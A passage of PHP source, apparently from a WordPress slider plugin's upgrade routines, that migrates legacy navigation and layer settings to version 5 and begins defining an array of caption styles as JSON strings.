(string)$this->get_val($layer, array('group', 'puid'), -1); $pos_default = 'absolute'; //if layer is in a row/column, default is relative if($puid !== '-1' && in_array($this->get_val($layers, array($puid, 'type')), array('column', 'row'))){ $pos_default = 'relative'; } $this->set_val($layers, array($lk, 'position', 'position'), $pos_default); } } if($save){ $slide->set_layers_raw($layers); $slide->save_layers(); } } } } } } } /** * translates removed settings from Slider Settings from version <= 4.x to 5.0 * before: RevSliderBase::translate_settings_to_v5() * @since: 5.0 **/ public function translate_navigation_to_v5($sliders = false){ $sr = new RevSliderSlider(); $sl = new RevSliderSlide(); if($sliders === false){ //do it on all Sliders $sliders = $sr->get_sliders(); }else{ $sliders = array($sliders); } if(!empty($sliders) && is_array($sliders)){ foreach($sliders as $slider){ $s = $slider->get_settings(); if(isset($s['navigaion_type'])){ switch ($s['navigaion_type']){ case 'none': // all is off, so leave the defaults break; case 'bullet': $s['enable_bullets'] = 'on'; $s['enable_thumbnails'] = 'off'; $s['enable_tabs'] = 'off'; break; case 'thumb': $s['enable_bullets'] = 'off'; $s['enable_thumbnails'] = 'on'; $s['enable_tabs'] = 'off'; break; } unset($s['navigaion_type']); } if(isset($s['navigation_arrows'])){ $s['enable_arrows'] = ($s['navigation_arrows'] == 'solo' || $s['navigation_arrows'] == 'nexttobullets') ? 'on' : 'off'; unset($s['navigation_arrows']); } if(isset($s['navigation_style'])){ $s['navigation_arrow_style'] = $s['navigation_style']; $s['navigation_bullets_style'] = $s['navigation_style']; unset($s['navigation_style']); } if(isset($s['navigaion_always_on'])){ $s['arrows_always_on'] = $s['navigaion_always_on']; $s['bullets_always_on'] = $s['navigaion_always_on']; $s['thumbs_always_on'] = $s['navigaion_always_on']; unset($s['navigaion_always_on']); } if(isset($s['hide_thumbs']) && !isset($s['hide_arrows']) && !isset($s['hide_bullets'])){ //as hide_thumbs is still existing, we need to check if the other two were already set and only translate this if they are not set yet $s['hide_arrows'] = $s['hide_thumbs']; $s['hide_bullets'] = $s['hide_thumbs']; } if(isset($s['navigaion_align_vert'])){ $s['bullets_align_vert'] = $s['navigaion_align_vert']; $s['thumbnails_align_vert'] = $s['navigaion_align_vert']; unset($s['navigaion_align_vert']); } if(isset($s['navigaion_align_hor'])){ $s['bullets_align_hor'] = $s['navigaion_align_hor']; $s['thumbnails_align_hor'] = $s['navigaion_align_hor']; unset($s['navigaion_align_hor']); } if(isset($s['navigaion_offset_hor'])){ $s['bullets_offset_hor'] = $s['navigaion_offset_hor']; $s['thumbnails_offset_hor'] = $s['navigaion_offset_hor']; unset($s['navigaion_offset_hor']); } if(isset($s['navigaion_offset_hor'])){ $s['bullets_offset_hor'] = $s['navigaion_offset_hor']; $s['thumbnails_offset_hor'] = $s['navigaion_offset_hor']; unset($s['navigaion_offset_hor']); } if(isset($s['navigaion_offset_vert'])){ $s['bullets_offset_vert'] = $s['navigaion_offset_vert']; $s['thumbnails_offset_vert'] = $s['navigaion_offset_vert']; unset($s['navigaion_offset_vert']); } if(isset($s['show_timerbar']) && !isset($s['enable_progressbar'])){ if($s['show_timerbar'] == 'hide'){ $s['enable_progressbar'] = 'off'; $s['show_timerbar'] = 'top'; }else{ $s['enable_progressbar'] = 'on'; } } $slider->update_settings($s); } } } /** * add new styles for version 5.0 * @since 5.0 */ public function add_v5_styles(){ global $wpdb; $v5 = array( array('handle' => '.tp-caption.MarkerDisplay', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ff0000","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0px","0px","0px","0px"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"font-style":"normal","font-family":"Permanent Marker","padding":"0px 0px 0px 0px","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#000000","border-style":"none","border-width":"0px","border-radius":"0px 0px 0px 0px","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"120px","line-height":"120px","font-weight":"700","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Restaurant-Cursive', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"30px","line-height":"30px","font-weight":"400","font-style":"normal","font-family":"Nothing you could do","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-ScrollDownText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"17px","line-height":"17px","font-weight":"400","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-Description', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-Price', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0"}', 'params' => '{"color":"#ffffff","font-size":"30px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Restaurant-Menuitem', 'settings' => '{"hover":"false","type":"text","version":"5.0","translated":"5"}', 'hover' => '{"color":"#000000","color-transparency":"1","text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","pointer_events":"auto","css_cursor":"pointer","speed":"500","easing":"power2.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"17px","font-weight":"400","font-style":"normal","font-family":"Roboto","padding":["10px","30px","10px","30px"],"text-decoration":"none","text-align":"left","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600","corner_left":"nothing","corner_right":"nothing","parallax":"-"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Furniture-LogoText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#e6cfa3","color-transparency":"1","font-size":"160px","line-height":"150px","font-weight":"300","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'), array('handle' => '.tp-caption.Furniture-Plus', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"#000000","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["30px","30px","30px","30px"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0.5","easing":"none"}', 'params' => '{"color":"#e6cfa3","color-transparency":"1","font-size":"20","line-height":"20px","font-weight":"400","font-style":"normal","font-family":"\\"Raleway\\"","padding":["6px","7px","4px","7px"],"text-decoration":"none","background-color":"#ffffff","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["30px","30px","30px","30px"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none","box-shadow":"rgba(0,0,0,0.1) 0 1px 3px"},"hover":""}'), array('handle' => '.tp-caption.Furniture-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"700","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none","letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Furniture-Subtitle', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"17px","line-height":"20px","font-weight":"300","font-style":"normal","font-family":"\\"Raleway\\"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'), array('handle' => '.tp-caption.Gym-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"80px","line-height":"70px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Gym-Subline', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"30px","line-height":"30px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"5px"},"hover":""}'), array('handle' => '.tp-caption.Gym-SmallText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"17px","line-height":"22","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"text-shadow":"none"},"hover":""}'), array('handle' => '.tp-caption.Fashion-SmallText', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"12px","line-height":"20px","font-weight":"600","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Fashion-BigDisplay', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"60px","line-height":"60px","font-weight":"900","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Fashion-TextBlock', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"20px","line-height":"40px","font-weight":"400","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"2px"},"hover":""}'), array('handle' => '.tp-caption.Sports-Display', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"130px","line-height":"130px","font-weight":"100","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"13px"},"hover":""}'), array('handle' => '.tp-caption.Sports-DisplayFat', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"130px","line-height":"130px","font-weight":"900","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":[""],"hover":""}'), array('handle' => '.tp-caption.Sports-Subline', 'settings' => '{"translated":5,"type":"text","version":"5.0"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#000000","color-transparency":"1","font-size":"32px","line-height":"32px","font-weight":"400","font-style":"normal","font-family":"\\"Raleway\\"","padding":"0 0 0 0","text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":"0 0 0 0","z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"4px"},"hover":""}'), array('handle' => '.tp-caption.Instagram-Caption', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20px","line-height":"20px","font-weight":"900","font-style":"normal","font-family":"Roboto","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.News-Title', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"70px","line-height":"60px","font-weight":"400","font-style":"normal","font-family":"Roboto Slab","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.News-Subtitle', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"0.65","text-decoration":"none","background-color":"#ffffff","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"solid","border-width":"0px","border-radius":["0","0","0px","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"300","easing":"power3.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"15px","line-height":"24px","font-weight":"300","font-style":"normal","font-family":"Roboto Slab","padding":["0","0","0","0"],"text-decoration":"none","background-color":"#ffffff","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Photography-Display', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"80px","line-height":"70px","font-weight":"100","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"5px"},"hover":""}'), array('handle' => '.tp-caption.Photography-Subline', 'settings' => '{"hover":"false","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"1","scalex":"1","scaley":"1","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"0","easing":"none"}', 'params' => '{"color":"#777777","color-transparency":"1","font-size":"20px","line-height":"30px","font-weight":"300","font-style":"normal","font-family":"Raleway","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":{"letter-spacing":"3px"},"hover":""}'), array('handle' => '.tp-caption.Photography-ImageHover', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => '{"color":"#ffffff","color-transparency":"1","text-decoration":"none","background-color":"transparent","background-transparency":"0","border-color":"transparent","border-transparency":"1","border-style":"none","border-width":"0","border-radius":["0","0","0","0"],"opacity":"0.5","scalex":"0.8","scaley":"0.8","skewx":"0","skewy":"0","xrotate":"0","yrotate":"0","2d_rotation":"0","speed":"1000","easing":"power3.inOut"}', 'params' => '{"color":"#ffffff","color-transparency":"1","font-size":"20","line-height":"22","font-weight":"400","font-style":"normal","font-family":"","padding":["0","0","0","0"],"text-decoration":"none","background-color":"transparent","background-transparency":"1","border-color":"#ffffff","border-transparency":"0","border-style":"none","border-width":"0px","border-radius":["0","0","0","0"],"z":"0","skewx":"0","skewy":"0","scalex":"1","scaley":"1","opacity":"1","xrotate":"0","yrotate":"0","2d_rotation":"0","2d_origin_x":"50","2d_origin_y":"50","pers":"600"}', 'advanced' => '{"idle":"","hover":""}'), array('handle' => '.tp-caption.Photography-Menuitem', 'settings' => '{"hover":"true","version":"5.0","translated":"5"}', 'hover' => 